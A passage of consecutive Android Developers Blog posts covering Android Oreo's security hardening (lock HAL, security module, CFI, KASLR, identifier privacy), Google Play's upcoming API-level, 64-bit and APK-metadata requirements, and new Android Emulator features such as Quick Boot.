Oreo also includes the new OEM Lock Hardware Abstraction Layer (HAL) that gives device manufacturers more flexibility for how they protect whether a device is locked, unlocked, or unlockable. For example, the new Pixel phones use this HAL to pass commands to the bootloader. The bootloader analyzes these commands the next time the device boots and determines if changes to the locks, which are securely stored in Replay Protected Memory Block (RPMB), should happen. If your device is stolen, these safeguards are designed to prevent your device from being reset and to keep your data secure. This new HAL even supports moving the lock state to dedicated hardware.

Speaking of hardware, we've invested support in tamper-resistant hardware, such as the security module found in every Pixel 2 and Pixel 2 XL. This physical chip prevents many software and hardware attacks and is also resistant to physical penetration attacks. The security module prevents deriving the encryption key without the device's passcode and limits the rate of unlock attempts, which makes many attacks infeasible due to time restrictions.

While the new Pixel devices have the special security module, all new GMS devices shipping with Android Oreo are required to implement key attestation. This provides a mechanism for strongly attesting IDs such as hardware identifiers.

We added new features for enterprise-managed devices as well. In work profiles, encryption keys are now ejected from RAM when the profile is off or when your company's admin remotely locks the profile. This helps secure enterprise data at rest.

Platform hardening and process isolation

As part of Project Treble, the Android framework was re-architected to make updates easier and less costly for device manufacturers. This separation of platform and vendor-code was also designed to improve security. Following the principle of least privilege, these HALs run in their own sandbox and only have access to the drivers and permissions that are absolutely necessary.

Continuing with the media stack hardening in Android Nougat, most direct hardware access has been removed from the media frameworks in Oreo resulting in better isolation. Furthermore, we've enabled Control Flow Integrity (CFI) across all media components. Most vulnerabilities today are exploited by subverting the normal control flow of an application, instead changing them to perform arbitrary malicious activities with all the privileges of the exploited application. CFI is a robust security mechanism that disallows arbitrary changes to the original control flow graph of a compiled binary, making it significantly harder to perform such attacks.

In addition to these architecture changes and CFI, Android Oreo comes with a feast of other tasty platform security enhancements:

  • Seccomp filtering: makes some unused syscalls unavailable to apps so that they can't be exploited by potentially harmful apps.
  • Hardened usercopy: A recent survey of security bugs on Android revealed that invalid or missing bounds checking was seen in approximately 45% of kernel vulnerabilities. We've backported a bounds checking feature to Android kernels 3.18 and above, which makes exploitation harder while also helping developers spot issues and fix bugs in their code.
  • Privileged Access Never (PAN) emulation: Also backported to 3.18 kernels and above, this feature prohibits the kernel from accessing user space directly and ensures developers utilize the hardened functions to access user space.
  • Kernel Address Space Layout Randomization (KASLR): Although Android has supported userspace Address Space Layout Randomization (ASLR) for years, we've backported KASLR to help mitigate vulnerabilities on Android kernels 4.4 and newer. KASLR works by randomizing the location where kernel code is loaded on each boot, making code reuse attacks probabilistic and therefore more difficult to carry out, especially remotely.

App security and device identifier changes

Android Instant Apps run in a restricted sandbox which limits permissions and capabilities such as reading the on-device app list or transmitting cleartext traffic. Although introduced during the Android Oreo release, Instant Apps supports devices running Android Lollipop and later.

In order to handle untrusted content more safely, we've isolated WebView by splitting the rendering engine into a separate process and running it within an isolated sandbox that restricts its resources. WebView also supports Safe Browsing to protect against potentially dangerous sites.

Lastly, we've made significant changes to device identifiers to give users more control, including:

  • Moving the static Android ID and Widevine values to an app-specific value, which helps limit the use of device-scoped non-resettable IDs.
  • In accordance with IETF RFC 7844 anonymity profile, net.hostname is now empty and the DHCP client no longer sends a hostname.
  • For apps that require a device ID, we've built a Build.getSerial() API and protected it behind a permission.
  • Alongside security researchers1, we designed a robust MAC address randomization for Wi-Fi scan traffic in various chipsets firmware.

Android Oreo brings in all of these improvements, and many more. As always, we appreciate feedback and welcome suggestions for how we can improve Android. Contact us at security@android.com.

_____________________________________________________________________

1: Glenn Wilkinson and team at Sensepost, UK, Célestin Matte, Mathieu Cunche: University of Lyon, INSA-Lyon, CITI Lab, Inria Privatics, Mathy Vanhoef, KU Leuven

Improving app security and performance on Google Play for years to come

Posted by Edward Cunningham, Product Manager, Android

Google Play powers billions of app installs and updates annually. We relentlessly focus on security and performance to ensure everyone has a positive experience discovering and installing apps and games they love. Today we're giving Android developers a heads-up about three changes designed to support these goals, as well as explaining the reasons for each change, and how they will help make Android devices even more secure and performant for the long term.

  • In the second half of 2018, Play will require that new apps and app updates target a recent Android API level. This will be required for new apps in August 2018, and for updates to existing apps in November 2018. This is to ensure apps are built on the latest APIs optimized for security and performance.
  • In August 2019, Play will require that new apps and app updates with native libraries provide 64-bit versions in addition to their 32-bit versions.
  • Additionally, in early 2018, Play will start adding a small amount of security metadata on top of each APK to further verify app authenticity. You do not need to take any action for this change.

We deeply appreciate our developer ecosystem, and so hope this long advance notice is helpful in planning your app releases. We will continue to provide reminders and share developer resources as key dates approach to help you prepare.

Target API level requirement from late 2018

API behavior changes advance the security and privacy protections of Android – helping developers secure their apps and protecting people from malware. Here are a few such changes from recent platform versions:

  • Implicit intents for bindService() no longer supported (Android 5.0)
  • Runtime permissions (Android 6.0)
  • User-added CAs not trusted by default for secure connections (Android 7.0)
  • Apps can't access user accounts without explicit user approval (Android 8.0)

Many of these changes only apply to apps that explicitly declare their support for new API behaviors, through the targetSdkVersion manifest attribute. For example, only apps with a targetSdkVersion of 23 (the API level of Android 6.0) or higher give the user full control over what private data – such as contacts or location – the app can access via runtime permissions. Similarly, recent releases include user experience improvements that prevent apps from accidentally overusing resources like battery and memory; background execution limits is a good example of this type of improvement.

In order to provide users with the best Android experience possible, the Google Play Console will require that apps target a recent API level:

  • August 2018: New apps required to target API level 26 (Android 8.0) or higher.
  • November 2018: Updates to existing apps required to target API level 26 or higher.
  • 2019 onwards: Each year the targetSdkVersion requirement will advance. Within one year following each Android dessert release, new apps and app updates will need to target the corresponding API level or higher.

Existing apps that are not receiving updates are unaffected. Developers remain free to use a minSdkVersion of their choice, so there is no change to your ability to build apps for older Android versions. We encourage developers to provide backwards compatibility as far as reasonably possible. Future Android versions will also restrict apps that don't target a recent API level and adversely impact performance or security. We want to proactively reduce fragmentation in the app ecosystem and ensure apps are secure and performant while providing developers with a long window and plenty of notice in order to plan ahead.

This year we released Android Oreo, the most secure and best performing version of Android yet, and we introduced Project Treble to help the latest releases reach devices faster. Get started building apps that target Android 8.1 Oreo today.

64-bit support requirement in 2019

Platform support for 64-bit architectures was introduced in Android 5.0. Today, over 40% of Android devices coming online have 64-bit support, while still maintaining 32-bit compatibility. For apps that use native libraries, 64-bit code typically offers significantly better performance, with additional registers and new instructions.

In anticipation of future Android devices that support 64-bit code only, the Play Console will require that new apps and app updates are able to run on devices without 32-bit support. Apps that include a 32-bit library will need to have a 64-bit alternative – either within the same APK or as one of the multiple APKs published. Apps that do not include native code are unaffected.

This change will come into effect in August 2019. We're providing advance notice today to allow plenty of time for developers who don't yet support 64-bit to plan the transition. Stay tuned for a future post in which we'll take an in-depth look at the performance benefits of 64-bit native libraries on Android, and check out the CPUs and Architectures guide of the NDK for more info.

Security metadata in early 2018

Next year we'll begin adding a small amount of security metadata on top of each APK to verify that it was officially distributed by Google Play. Often when you buy a physical product, you'll find an official label or a badge which signifies the product's authenticity. The metadata we're adding to APKs is like a Play badge of authenticity for your Android app.

No action is needed by developers or users. We'll adjust Play's maximum APK size to take into account the small metadata addition, which is inserted into the APK Signing Block and does not alter the functionality of your app. In addition to enhancing the integrity of Play's mobile app ecosystem, this metadata will enable new distribution opportunities for developers in the future and help more people keep their apps up to date.

Looking ahead

2017 has been a fantastic year for developers who have seen growth and success on Google Play. We've been hard at work on features (including those announced at I/O 2017 and at Playtime) to help you improve your app quality and business performance. With these features and the upcoming updates, we hope to see the Android and Play ecosystem continue to thrive in 2018 and beyond.

How useful did you find this blogpost?

Quick Boot & the Top Features in the Android Emulator

Posted by Jamal Eason, Product Manager, Android

Today, we are excited to announce Quick Boot for the Android Emulator. With Quick Boot, you can launch the Android Emulator in under 6 seconds. Quick Boot works by snapshotting an emulator session so you can reload in seconds. Quick Boot was first released with Android Studio 3.0 in the canary update channel and we are excited to release the feature as a stable update today.

In addition to this new feature, we also wanted to highlight some of the top features from recent releases. Since the complete revamp of the Android Emulator two years ago, we continue to focus on improving speed, stability and adding a rich set of features that accelerate your app development and testing. With all the recent changes, it is definitely worth updating to the latest version of the Android Emulator to use it today.

Top 5 Features

  • Quick Boot - Released as a stable feature today, Quick Boot allows you to resume your Android Emulator session in under 6 seconds. The first time you start an Android Virtual Device (AVD) with the Android Emulator, it must perform a cold boot (just like powering on a device), but subsequent starts are fast and the system is restored to the state at which you closed the emulator last (similar to waking a device). We accomplished this by completely re-engineering the legacy emulator snapshot architecture to work with virtual sensors and GPU acceleration. No additional setup is required because Quick Boot is enabled by default starting with Android Emulator v27.0.2.

Quick Boot in the Android Emulator

  • Android CTS Compatibility - With each release of the Android SDK, we ensure that the Android Emulator is ready for your app development needs, from testing backwards compatibility with Android KitKat to integrating the latest APIs of the developer preview. To increase product quality and reliability of emulator system images, we now qualify final Android System Image builds from Android Nougat (API 24) and higher against the Android Compatibility Test Suite (CTS)—the same testing suite that official Android physical devices must pass.
  • Google Play Support - We know that many app developers use Google Play Services, and it can be difficult to keep the service up to date in the Android Emulator system images. To solve this problem, we now offer versions of Android System Images that include the Play Store app. The Google Play images are available starting with Android Nougat (API 24). With these new emulator images, you can update Google Play Services via the Play Store app in your emulator just as you would on a physical Android device. Plus, you can now test end-to-end install, update, and purchase flows with the Google Play Store.
  • Performance Improvements - Making the emulator fast and performant is an on-going goal for our team. We continuously look at the performance impact of running the emulator on your development machine, especially RAM usage. With the latest versions of the Android Emulator, we now allocate RAM on demand, instead of allocating and pinning the memory to the max RAM size defined in your AVD. We do this by tapping into the native hypervisors for Linux (KVM) and macOS® (Hypervisor.Framework), and an enhanced Intel® HAXM (v6.2.1 and higher) for Microsoft® Windows®, which uses the new on-demand memory allocation.
  • Additionally, over the last several releases, we have improved CPU and I/O performance while enhancing GPU performance, including OpenGL ES 3.0 support. Looking at a common task such as ADB push highlights the improvements in the Android CPU and I/O pipelines:

    ADB Push Speed Comparison with Android Emulator

    For GPU performance, we created a sample GPU emulation stress test app to gauge improvements over time. We found that the latest emulator can render higher frame rates than before, and it is one of the few emulators that can render OpenGL ES 3.0 accurately per the Android specification.

GPU Emulation Stress Test - Android App

GPU Emulation Stress Test with Android Emulator

More Features

In addition to these major features, there are a whole host of additional features that we have added to the Android Emulator over the last year that you may not be aware of:

  • Wi-Fi support - Starting with API 24 system images, you can create an AVD that both connects to a virtual cellular network and a virtual Wi-Fi Access Point.
  • Google Cast support - When using a Google Play system image, you can cast screen and audio content to Chromecast devices on the same Wi-Fi network.
  • Drag and drop APKs & files - Simply drag an APK onto the Android Emulator window to trigger an app install. Also you can drag any other data file and find it in the /Downloads folder in your Android Virtual Device.
  • Host copy & paste - You can copy & paste text between the Android Emulator and your development machine.
  • Virtual 2-finger pinch & zoom - When interacting with apps like Google Maps, hold down the Ctrl Key (on Microsoft® Windows® or Linux) or ⌘ (on macOS® ) , and a finger overlay appears on screen to aid with pinch & zoom actions.
  • GPS location - Manually select a GPS point or set of GPS points under the Location tab of the Android Emulator.
  • Virtual sensors - There is a dedicated page in the extended controls panel that has supported sensors in the Android Emulator including acceleration, rotation, proximity and many more.
  • WebCam support - You can use a webcam or your laptop built-in webcam as a virtual camera in the AVD. Validate your AVD camera settings in the Advanced Settings page in the AVD Manager.
  • Host machine keyboard - You can use your real keyboard to enter text into the Android Virtual Device.
  • Virtual SMS and phone calls - In the extended controls panel, you can trigger a virtual SMS or phone call to test apps with telephony dependencies.
  • Screen zooming - On the main toolbar, click on the magnify glass icon to enter zoom mode, and then select a region of the screen you want to inspect.
  • Window resizing - Simply drag a corner of the Android Emulator window to change to the desired size.
  • Network proxy support - Add a custom HTTP proxy for your Android Emulator session by going to the Settings page under the Proxy tab.
  • Bug reporting - You can quickly generate a bug report for your app by using the Bug Report section in the extended controls panel to share with your team or to send feedback to Google.

Learn more about the Android Emulator in the Emulator documentation.

Getting Started

All of these features and improvements are available to download and use now with Android Emulator v27.0.2+, which you can get via the SDK Manager in Android Studio. For a fast experience, we recommend creating and running the x86 version of emulator system images, with the latest Android Emulator, Intel® HAXM (if applicable) and graphics drivers installed.

We appreciate any feedback on things you like, issues or features you would like to see. If you find a bug, issue, or have a feature request feel free to file an issue. We are definitely not done, but we hope you are excited about the improvements so far.